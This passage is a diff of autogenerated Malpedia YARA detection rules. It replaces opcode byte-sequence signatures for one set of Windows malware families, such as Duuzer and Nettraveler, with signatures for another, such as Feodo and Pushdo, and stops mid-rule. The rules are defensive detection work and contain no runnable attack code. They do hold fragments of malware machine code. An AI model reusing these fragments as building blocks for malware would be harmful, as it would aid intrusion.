id = "b826b58a-58c7-58d3-8203-4697848cdc57" + id = "c501ff13-71e5-5a46-9388-bd1d1013ee63" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightlesscan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightlesscan_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_greencat_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "5d3e853bb474af272be8c5d451244aad6d1bade1283c3318141a0ba65106022e" + logic_hash = "4d09295114ba5dc3575e8f0ceeceef8f83e2061d012afdc45a6be16a472e1786" score = 75 quality = 75 tags = "FILE" @@ -139016,32 +138728,32 @@ rule MALPEDIA_Win_Lightlesscan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83fb02 0f8539020000 33c0 4585ed 0f84bb010000 448b442464 488945b0 } - $sequence_1 = { 4885db 745a 488d0dda770400 e8???????? 4c8d4c2450 458bc4 488bd6 } - $sequence_2 = { 4c8d4c2478 4533c0 418d5001 488b4d28 ffd0 } - $sequence_3 = { 8b442434 eb8c 85c0 0f858c060000 33db 4d8be7 8bfb } - $sequence_4 = { e8???????? 488d4c2454 4c89642428 48894c2420 488b4c2458 4533c9 4533c0 } - $sequence_5 = { b904010000 498bc3 66443938 740b 4883c002 48ffc9 75f1 } - $sequence_6 = { 4883c9ff 48897c2430 33c0 488bfb 488bd6 f2ae 48f7d1 } - $sequence_7 = { e8???????? 488bcb ffd0 488b0d???????? 488b1d???????? c60107 40382b } - $sequence_8 = { 4c8d8de0030000 4c8d05306f0500 440fb7d8 488d8dd0010000 ba04010000 44895c2420 e8???????? } - $sequence_9 = { 498be3 415c 5f 5d c3 48895c2418 48896c2420 } + $sequence_0 = { 59 0f85ab000000 bf28010000 8d85c0fdffff 57 53 } + $sequence_1 = { 50 e8???????? 53 50 894614 } + $sequence_2 = { 8d4dac ff750c e8???????? 85c0 7511 6830750000 } + $sequence_3 = { 53 ff15???????? 55 e8???????? 3bf3 59 7407 } + $sequence_4 = { e9???????? 8d45ac 50 ff750c e8???????? e9???????? 8b4508 } + $sequence_5 = { 58 e9???????? 56 be00010000 57 56 e8???????? } + $sequence_6 = { 5a 8b7508 668950f8 8950fc 668910 66895802 66895804 } + $sequence_7 = { 8d0c30 03c6 2945ec 03d9 85f6 75ac 3975fc } + $sequence_8 = { ff15???????? 83f8ff 8945ec 7411 ff15???????? 3db7000000 0f84de010000 } + $sequence_9 = { 50 ff15???????? 3bc7 59 7405 a3???????? 8a45ff } condition: - 7 of them and filesize < 1399808 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Ondritols_Auto : FILE +rule MALPEDIA_Win_Pipemagic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "81710fe6-9ae7-546c-9cb9-b9c86df2ce65" + id = "fdb60c65-afb1-53e4-9d93-0cc68c23b592" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ondritols" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ondritols_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemagic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipemagic_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "44ff18d30e7336ef39e54fec8b0b622a69d795c9c1893d07882cb3b4d93aa6f9" + logic_hash = "1b197c324b04c72fd062b82fb8bf23069786730f7c016ad9418e03227253d020" score = 75 quality = 75 tags = "FILE" @@ -139055,32 +138767,32 @@ rule MALPEDIA_Win_Ondritols_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3ab 59 894df8 8b4df8 e8???????? 50 8b45f8 } - $sequence_1 = { c745fcffffffff 8d4d10 e8???????? 8a8523ffffff eb1e eb9c c6852fffffff01 } - $sequence_2 = { c745fc00000000 8b4508 c1f805 8b4d08 83e11f c1e106 8b1485e0ca4600 } - $sequence_3 = { 50 8d45f4 64a300000000 894dec 6a01 8d8518ffffff } - $sequence_4 = { 7409 8b55e4 c70201000000 eb15 c745e400000000 c745f000000000 c745e848a54600 } - $sequence_5 = { 895f14 895f18 39b530ffffff 720f 8b951cffffff 52 e8???????? } - $sequence_6 = { e8???????? 8b45e4 50 e8???????? 83c408 885dfc 8d7310 } - $sequence_7 = { 746a 833d????????10 720e a1???????? 50 e8???????? 83c404 } - $sequence_8 = { c645fc04 e8???????? 83c404 3bc3 0f84a7020000 8906 } - $sequence_9 = { 8d8568f5ffff 50 e8???????? 83c404 83c00b 83f83c } + $sequence_0 = { ff15???????? 8bcf e8???????? 8bc8 85c9 7510 53 } + $sequence_1 = { ff15???????? 59 c7431003000000 5f 5e 5b c9 } + $sequence_2 = { 0f8722010000 8b513c 03d1 8955f8 8d82f8000000 3bc3 0f870c010000 } + $sequence_3 = { 8945e4 85db 0f8499020000 8b5508 8a01 } + $sequence_4 = { e8???????? a1???????? 33c9 894dd8 } + $sequence_5 = { 8b00 eb03 8b4508 6a04 } + $sequence_6 = { 59 51 8b4dec 57 e8???????? 57 } + $sequence_7 = { 83e801 7404 32c0 eb23 e8???????? eb1a e8???????? } + $sequence_8 = { 8d542410 8bce e8???????? e9???????? 83f803 750e } + $sequence_9 = { 7404 8b38 eb03 8b7dfc 807e0c00 7530 53 } condition: - 7 of them and filesize < 964608 + 7 of them and filesize < 87040 } -rule MALPEDIA_Win_Duuzer_Auto : FILE +rule MALPEDIA_Win_Apocalipto_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce410d90-c1fc-5e24-b6fe-acbef7b75a62" + id = "040d40e4-215e-5fc8-9173-5081c16b8126" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.duuzer_auto.yar#L1-L150" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apocalipto_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "dfa72f297db77226dddcb2a3a6d903c9c88217f92848aed80d0a5daab8159948" + logic_hash = "59ef34dc3f2d1dbdb1e3d7de19e14bb33faf50cd3fbb7faa9fac9e36e92697d7" score = 75 quality = 75 tags = "FILE" @@ -139094,37 +138806,32 @@ rule MALPEDIA_Win_Duuzer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f804 7408 83c8ff e9???????? } - $sequence_1 = { 5e c3 397170 74e4 83b9f800000008 48895c2458 } - $sequence_2 = { c78598fdffff288c3a55 c7859cfdffff83a89c49 c785a0fdffff9ace29e0 c785a4fdffff5652b72b } - $sequence_3 = { b8a2000000 5e 8b4dfc 33cd } - $sequence_4 = { 5f c3 4585ff 74d9 4489a70c170000 } - $sequence_5 = { c785f0fefeff20964000 c785f4fefeff40964000 c785f8fefeff60964000 c785fcfefeff80964000 c78500fffeffd0964000 } - $sequence_6 = { 5f 5d c3 488d0529230100 } - $sequence_7 = { 51 56 e8???????? 6a78 8d4de8 } - $sequence_8 = { ffd6 a3???????? 85c0 7413 8d8509ffffff } - $sequence_9 = { 8d86a4000000 c7465000000100 89464c 837dfc00 752f } - $sequence_10 = { 5f 5e 5d c3 488d542470 8bcb } - $sequence_11 = { 5e c3 488b4e38 48895c2468 } - $sequence_12 = { 5f c3 4585f6 74db } - $sequence_13 = { 50 8d0c1e 51 52 } - $sequence_14 = { 5f 5d 5b c3 33c9 4c897c2460 } + $sequence_0 = { 83ec48 c745f400000000 8d45f4 89442410 c744240c1c000000 8d45d8 } + $sequence_1 = { 85c0 0f8433090000 c7442404???????? 891c24 } + $sequence_2 = { 745f 31db 6690 43 } + $sequence_3 = { 31c0 85ff 75d9 8945f0 31db 31c9 } + $sequence_4 = { 0500100000 8985d0f3ffff c744240c04000000 c744240800100000 89442404 } + $sequence_5 = { c744241800000000 c744241404000000 c744241000000000 c744240c00000000 c744240800000000 8b5508 } + $sequence_6 = { e9???????? ff15???????? 89c6 c705????????01000000 c7442404???????? 890424 e8???????? } + $sequence_7 = { 890424 ff15???????? 50 c744240800400000 895c2404 } + $sequence_8 = { 8974bb08 41 81f900010000 75cf c7430400000000 c70300000000 } + $sequence_9 = { a3???????? 85c0 0f84510a0000 c7442404???????? 891c24 ff15???????? 83ec08 } condition: - 7 of them and filesize < 491520 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Herpes_Auto : FILE +rule MALPEDIA_Win_Unidentified_076_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e63d0f33-775b-5606-bd1d-23c306bf37e3" + id = "320fec8e-f3fe-5339-a2f9-df370980c853" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.herpes_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_076_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "754c79a3fce60a65d5238f8bbab4a5de6f5328cd0831b8e3c8484725e4b748a5" + logic_hash = "d906c6adbfb453b72e8affe711020332823b8e590c569caecb0bdba54a063334" score = 75 quality = 75 tags = "FILE" @@ -139138,32 +138845,32 @@ rule MALPEDIA_Win_Herpes_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3945cc 8b45b8 7303 8d45b8 56 51 50 } - $sequence_1 = { 68???????? e8???????? 83c404 5e 5d c20400 83ff75 } - $sequence_2 = { 8945e4 3d01010000 7d0d 8a4c181c 8888c0c24100 40 } - $sequence_3 = { 8d45d4 3bc7 7450 3975e8 720c 8b4dd4 51 } - $sequence_4 = { ffd7 68???????? 898664010000 ffd5 68???????? 50 898600020000 } - $sequence_5 = { e8???????? 8bc7 5f c20400 83661000 } - $sequence_6 = { ffd6 0145f0 8b75dc 8b45f0 56 ff75e0 03c7 } - $sequence_7 = { ffd7 68???????? ffb6f8010000 894664 } - $sequence_8 = { 8b4dfc 898134050000 6a00 6880000000 6a03 6a00 6a01 } - $sequence_9 = { 33db 58 89863c020000 899e38020000 } + $sequence_0 = { 0f95c3 488b6c2438 488b742440 488b7c2448 8bc3 488b5c2430 4883c420 } + $sequence_1 = { 85c0 7f2d 488b86c8000000 33db ff9050010000 41b8fe010000 488bce } + $sequence_2 = { 4155 4156 4881ec20010000 488b81c8000000 488bd9 488bf2 488d4c2440 } + $sequence_3 = { 498bcc ff9020070000 488b8e50020000 488b96c8000000 4963c6 4869d814030000 } + $sequence_4 = { 03d0 41ffc9 75f0 443bda 0f8524010000 44895f30 896f34 } + $sequence_5 = { 41b900008000 ba0e660000 4c89742420 ff9080050000 85c0 7522 488b87c8000000 } + $sequence_6 = { ffc1 448bf2 483bc8 0f86b2000000 bf08000000 eb03 4803ff } + $sequence_7 = { 488b81c8000000 498bc8 ff9080000000 33c9 33d2 4c63c0 85c0 } + $sequence_8 = { 488bcb 448d4202 e8???????? 488b93c8000000 488d4df0 ff92f0070000 83a3c802000000 } + $sequence_9 = { 0fb74603 440fb6c0 c1e808 41c1e008 440bc0 41833e00 44894530 } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Nettraveler_Auto : FILE +rule MALPEDIA_Win_Feodo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "49924387-14f0-5a87-ae2b-48062b6b59c8" + id = "294edd8e-79e5-57c8-8d21-3a46810574e0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nettraveler_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.feodo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.feodo_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "64cd33a7e821a03ef4cb5acc77650adcc2d4e3c4a14efecc6b33e33a7efaa84e" + logic_hash = "7ae2a34a3e8eb5aa6b8cbee0b549d59082912ee3877b6eb0ff9194b700931591" score = 75 quality = 75 tags = "FILE" @@ -139177,32 +138884,32 @@ rule MALPEDIA_Win_Nettraveler_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd0 50 68???????? ff7510 ff15???????? ff7510 e8???????? } - $sequence_1 = { 5e 5d 83c440 c3 56 e8???????? e8???????? } - $sequence_2 = { 0bd1 0355b4 8dbc17aac7b6e9 8bd0 8bcf } - $sequence_3 = { aa 8bca 33c0 8dbdddefffff 80a5dcf3ffff00 f3ab } - $sequence_4 = { ff37 56 ff15???????? 53 ff37 56 ff15???????? } - $sequence_5 = { ffd6 bd???????? 8d442418 55 68???????? 50 ffd7 } - $sequence_6 = { 53 6a03 53 53 ff75c0 ff75b8 ff7510 } - $sequence_7 = { ff7508 ffd6 53 8d8590f6ffff 53 50 } - $sequence_8 = { 8db4850cffffff 8b4508 33d2 0fb6803c910010 8bf8 } - $sequence_9 = { ff75fc ff15???????? 85c0 7417 8d85f4fdffff 56 } + $sequence_0 = { 85c0 747b 6a00 6800000008 } + $sequence_1 = { 85d2 740a 03ca 397144 75f3 8b7904 } + $sequence_2 = { 6a00 6a03 57 8d442424 50 ff15???????? } + $sequence_3 = { ff15???????? 85c0 743d 8d4c2404 } + $sequence_4 = { 56 6808020000 8d442444 50 } + $sequence_5 = { 83ec0c 56 57 33ff 57 6a02 6a02 } + $sequence_6 = { 8bf0 85f6 75e0 6a00 57 } + $sequence_7 = { 56 57 ff15???????? 8bf0 85f6 75e0 6a00 } + $sequence_8 = { 6a20 8d542404 52 ff15???????? 8d0424 50 } + $sequence_9 = { 743d 8d4c2404 51 8d542424 52 } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 270336 } -rule MALPEDIA_Win_Balkan_Door_Auto : FILE +rule MALPEDIA_Win_Vermilion_Strike_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "da1553c8-1e46-5d28-bd8e-ffaf0075dca2" + id = "cccdd0ef-85fa-55e7-a474-5f9b069a3146" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_door" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.balkan_door_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vermilion_strike_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "8fad6b0583675ac5acd98c6d6d2bed42312dfeea01b9aec6dd08e0296e917b26" + logic_hash = "fbc14feb8d48b183ee7897af8bb71c1d6c19913a32cffa9f35df20729fb944fd" score = 75 quality = 75 tags = "FILE" @@ -139216,32 +138923,32 @@ rule MALPEDIA_Win_Balkan_Door_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ffd7 50 56 68???????? } - $sequence_1 = { ffd7 5e 32c0 5f c3 32c0 } - $sequence_2 = { ffd7 5e 32c0 5f } - $sequence_3 = { 50 57 6a00 6a16 ffb53cefffff ff15???????? 85c0 } - $sequence_4 = { 6a26 ffb53cefffff ff15???????? 85c0 750c ff15???????? 8986f8000000 } - $sequence_5 = { 740b 6a00 6a00 56 ff15???????? 57 8b3d???????? } - $sequence_6 = { 68c0270900 ffd7 6a00 ff35???????? } - $sequence_7 = { d1f8 33d2 50 51 8d4dd8 } - $sequence_8 = { ffd7 85c0 741a 8d85d0fdffff c785d0fdffff2c020000 50 } - $sequence_9 = { ff15???????? 8bf0 85f6 740b 6a00 6a00 56 } + $sequence_0 = { 83c414 51 52 b330 8d7c2438 } + $sequence_1 = { 8d4e20 51 c744241400000000 e8???????? c7463c00000000 8bc6 8b4c2408 } + $sequence_2 = { c644241400 8d7001 8d9b00000000 8a10 40 84d2 } + $sequence_3 = { 83c404 56 8bd8 6a00 53 895c2418 e8???????? } + $sequence_4 = { 3dea000000 7518 8b74241c 85f6 7410 8d442464 } + $sequence_5 = { ffd7 8bf0 83feff 7532 ffd5 } + $sequence_6 = { 895c2448 885c2438 39bc2484000000 720d 8b542470 } + $sequence_7 = { 396e18 7205 8b4e04 eb03 8d4e04 50 51 } + $sequence_8 = { e8???????? 57 50 8d7c245c c684245801000003 e8???????? 83c40c } + $sequence_9 = { eb02 8bc7 3bc3 7711 83f908 } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 540672 } -rule MALPEDIA_Win_Collection_Rat_Auto : FILE +rule MALPEDIA_Win_Bolek_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ee99e95c-7900-562e-8613-68183d72bbe0" + id = "69ad8acf-074b-529b-acc6-71dc6d683637" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.collection_rat_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bolek_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "4a525a556c647435c47597aca6c93f4c0c1ae69ffb1c4982506b53b4f472dc0c" + logic_hash = "a52d08446edf10d117ae2bacde4f93e5d2e9e0eaf470758c0d7eff835edf2d23" score = 75 quality = 75 tags = "FILE" @@ -139255,34 +138962,34 @@ rule MALPEDIA_Win_Collection_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4885d2 740b 41b001 488bce e8???????? e8???????? } - $sequence_1 = { 8d7e78 448bc3 8bd7 e8???????? 448bce 4c8d442440 8d5601 } - $sequence_2 = { 488bce e8???????? e8???????? 488bc8 baa3000000 e8???????? 488b8f80000000 } - $sequence_3 = { bf18000000 448bc7 33d2 488d8c24a8000000 e8???????? 89bc24a8000000 c78424b800000001000000 } - $sequence_4 = { 410fb7cc eb4a 80f92b 7507 b93e000000 eb3e } - $sequence_5 = { e8???????? eb27 488b5950 e8???????? 488bc8 ba98000000 e8???????? } - $sequence_6 = { c3 418bc4 ebdc 4885d2 0f84aa020000 48895c2408 57 } - $sequence_7 = { 488b4c2470 e8???????? eb14 89442420 4533c9 4533c0 } - $sequence_8 = { 4183e801 7429 4183e801 741e 4183e801 740f 4183f801 } - $sequence_9 = { 4883ec20 4c8b7150 488bd9 b900100000 } + $sequence_0 = { f76b10 0fa4ce01 03c9 03c8 8b4340 13f2 f72f } + $sequence_1 = { 8bec 83ec18 53 56 57 33c0 8bfa } + $sequence_2 = { 8b55f8 391401 7416 41 3bce 72f6 33c0 } + $sequence_3 = { 0f84a5000000 8b45f4 8b7028 83c60c 0375e0 e9???????? 8d45e8 } + $sequence_4 = { c606ff 3dff000000 751a 6a05 6a06 5a 32c9 } + $sequence_5 = { ffb42450080000 50 8d84244c060000 50 e8???????? 8d442444 55 } + $sequence_6 = { 899c248c000000 89b42490000000 e8???????? 83c440 85c0 0f85e7fdffff 53 } + $sequence_7 = { ff742444 8d442434 50 e8???????? 6a10 8d44243c 55 } + $sequence_8 = { ff742438 ff742438 56 e8???????? 69ce0d661900 83c40c 8bf8 } + $sequence_9 = { 894dec c745f440000000 894df8 894dfc ff15???????? 8be5 5d } condition: - 7 of them and filesize < 397312 + 7 of them and filesize < 892928 } -rule MALPEDIA_Win_Rincux_Auto : FILE +rule MALPEDIA_Win_Pushdo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fcec6357-ec7f-5319-84f9-3e3af9251503" + id = "ea9fd106-28fc-55dd-aa56-b9cc29b476a3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rincux_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pushdo_auto.yar#L1-L210" license_url = "N/A" - logic_hash = "495e2f221b3a3eaf8635ea3eb223efd9431aa4fc4e38116d5df5e0ad084dcaef" + logic_hash = "44aafb8e474bf55b9e9061326e2ace4a0bcd7b0153f05d8cb31960fbba3d00f5" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -139294,32 +139001,43 @@ rule MALPEDIA_Win_Rincux_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ff15???????? 89442418 8b442410 50 ff15???????? } - $sequence_1 = { 83cafe 42 7534 8a4c2414 8a542410 c644245c01 } - $sequence_2 = { 8b8c2494a00000 5f 5e 5d 33c0 5b } - $sequence_3 = { 53 55 56 57 0f84ec150000 8b581c 85db } - $sequence_4 = { bb06000000 8b04a8 8d7804 8b07 50 ff15???????? 83c704 } - $sequence_5 = { 50 68???????? 51 ffd6 8b15???????? 83c40c 8b049508a50210 } - $sequence_6 = { 85c0 7477 ff15???????? 83f812 746c 8b6c2418 8b35???????? } - $sequence_7 = { 8d4c2424 8d5d1c 52 8d7d10 8d7518 51 53 } - $sequence_8 = { 33db 33ed 3bf0 57 89742410 89442414 } - $sequence_9 = { 5b 5e 5d c20400 5e b8???????? } + $sequence_0 = { f7f9 33c9 ba88020000 f7e2 } + $sequence_1 = { 50 ff15???????? 33d2 b9ffff0000 f7f1 } + $sequence_2 = { 60 8b45fc b10b d3c0 61 } + $sequence_3 = { 8a85effeffff 888415f0feffff 8b4d08 034dfc 0fbe11 } + $sequence_4 = { 81ec18010000 6800010000 6a00 8d85f0feffff 50 e8???????? } + $sequence_5 = { 8b55fc 3b5510 0f83a6000000 8b45f4 83c001 25ff000000 } + $sequence_6 = { 8b450c 0345fc 8810 e9???????? 8be5 } + $sequence_7 = { 8b55fc 83c201 8955fc 817dfc00010000 736a 8b45fc } + $sequence_8 = { 03c2 c1f808 49 79dd } + $sequence_9 = { ff15???????? 8945fc 3bc7 0f84a1010000 8d45ec 50 8d4598 } + $sequence_10 = { 7413 8d45f8 50 8d85f0fdffff 50 } + $sequence_11 = { 6a04 bb00300000 53 bf00100000 } + $sequence_12 = { 0f849f000000 8d45f8 50 6801008000 6801680000 ff75fc } + $sequence_13 = { 52 8d8588fbffff 50 e8???????? } + $sequence_14 = { 8b5508 8b02 8945f4 837df400 741a 8b4df4 } + $sequence_15 = { e8???????? 898544feffff 8b8544feffff 33d2 b90a000000 } + $sequence_16 = { 8bff 55 8bec 8b450c c1e810 } + $sequence_17 = { eb0f 8b9570fdffff 83c201 899570fdffff 83bd70fdffff14 } + $sequence_18 = { 2b4dfc 3b4dec 7307 33c0 e9???????? 8b55fc } + $sequence_19 = { e8???????? 8945b8 6a6c 8b4db8 51 e8???????? 8945b8 } + $sequence_20 = { 55 8bec 0fb6450c c1f804 83e00f 8b4d08 8a906c520009 } condition: - 7 of them and filesize < 392192 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Solarbot_Auto : FILE +rule MALPEDIA_Win_Headertip_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "05e274f3-e1a5-5d28-b9c3-6c8b8c413847" + id = "1dda5df3-2437-55ec-aee3-662480184ff3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.solarbot_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.headertip_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "531287eb552516451607fb4943bd4268dc00786ea51d0ac858b62961b07eaa85" + logic_hash = "a8e98ab682cf8297008cac86233820760ccd69da30239b18014120d2702bf71b" score = 75 quality = 75 tags = "FILE" @@ -139333,34 +139051,34 @@ rule MALPEDIA_Win_Solarbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745f800000000 6a00 8d55fc 52 89da 8b0a } - $sequence_1 = { 8945fc 8b7d14 8b4518 8945f4 8b451c c745ec00000000 6a00 } - $sequence_2 = { 8b55f8 01d0 50 8b55fc 8b45f8 01c2 52 } - $sequence_3 = { 8b85f8feffff 8b5020 0395f0feffff 89d8 c1e002 01c2 } - $sequence_4 = { 8b8524f8ffff 0fb610 83fa50 0f8598000000 83bd20f8ffff21 0f868b000000 } - $sequence_5 = { 89ca 8d1453 0fb712 85d2 7ff3 89c8 } - $sequence_6 = { 8945a8 e9???????? ff75a4 ff75e0 681a040000 } - $sequence_7 = { 0f8580020000 8b85d0fdffff 85c0 0f8472020000 c785e0fdffff00000000 bf00000000 be00000000 } - $sequence_8 = { 8945e0 eb2d 6a1c 8d45e4 50 } - $sequence_9 = { 50 e8???????? 89c3 53 e8???????? 8945f4 89f0 } + $sequence_0 = { c645e465 c645e573 c645e674 c645e757 885de8 } + $sequence_1 = { 8b450c 48 753a 8b4508 } + $sequence_2 = { 0f845b020000 8d4d34 51 50 ff15???????? a3???????? } + $sequence_3 = { 84c9 75f1 c20400 8b542404 33c0 85d2 } + $sequence_4 = { 56 57 64a130000000 8b400c 8b7014 8bfe } + $sequence_5 = { c6451d74 c6451e45 c6451f72 c6452072 c645216f c6452272 885d23 } + $sequence_6 = { ff7508 ff35???????? ff15???????? 85c0 7528 } + $sequence_7 = { 68???????? be???????? 56 c705????????19100010 c705????????5b120010 ff15???????? } + $sequence_8 = { 58 668945f4 668945f6 6a33 58 668945f8 6a32 } + $sequence_9 = { 33c0 5f 5b 5e c3 0fb7c7 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 174080 } -rule MALPEDIA_Win_Session_Manager_Auto : FILE +rule MALPEDIA_Win_Ketrican_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0581ea0a-3bb4-5759-b879-c839f5bdbdad" + id = "17c7dffb-a011-5900-a31d-1d30da8f8252" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.session_manager_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ketrican" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ketrican_auto.yar#L1-L230" license_url = "N/A" - logic_hash = "02f9d1668e1984de7209fb8203b706bf8fb13f2ad60ed57c78494704eeede860" + logic_hash = "bc80dac3ff7e066cc7e5cdc3a2c5cdfaac267fb28bf5e233f76a95cbb08049bc" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -139372,32 +139090,45 @@ rule MALPEDIA_Win_Session_Manager_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488bca 4c8d0579970100 83e13f 488bc2 } - $sequence_1 = { 4c89b8701c0000 4c89b8781c0000 4c89b8801c0000 4c89b8881c0000 4c89b8901c0000 4c89b8981c0000 4c89b8a01c0000 } - $sequence_2 = { 4c89b8c01a0000 4c89b8c81a0000 4c89b8d01a0000 4c89b8d81a0000 4c89b8e01a0000 4c89b8e81a0000 } - $sequence_3 = { 0f84d6000000 4c8d155b7e0100 41b90a000000 4b8b04fa } - $sequence_4 = { 4c89b8981d0000 4c89b8a01d0000 4c89b8a81d0000 4c89b8b01d0000 4c89b8b81d0000 4c89b8c01d0000 } - $sequence_5 = { 488b45d8 488908 488d0d6d720100 488b45d8 8990a8030000 488b45d8 48898888000000 } - $sequence_6 = { 4c89b850130000 4c89b858130000 4c89b860130000 4c89b868130000 } - $sequence_7 = { 90 4c8d4001 41b901000000 488d1592df0100 488d4dd7 e8???????? } - $sequence_8 = { 488d1559e10100 488bcf ff5018 48c7452f0f000000 48897527 } - $sequence_9 = { 4c89b818080000 4c89b820080000 4c89b828080000 4c89b830080000 4c89b838080000 4c89b840080000 } + 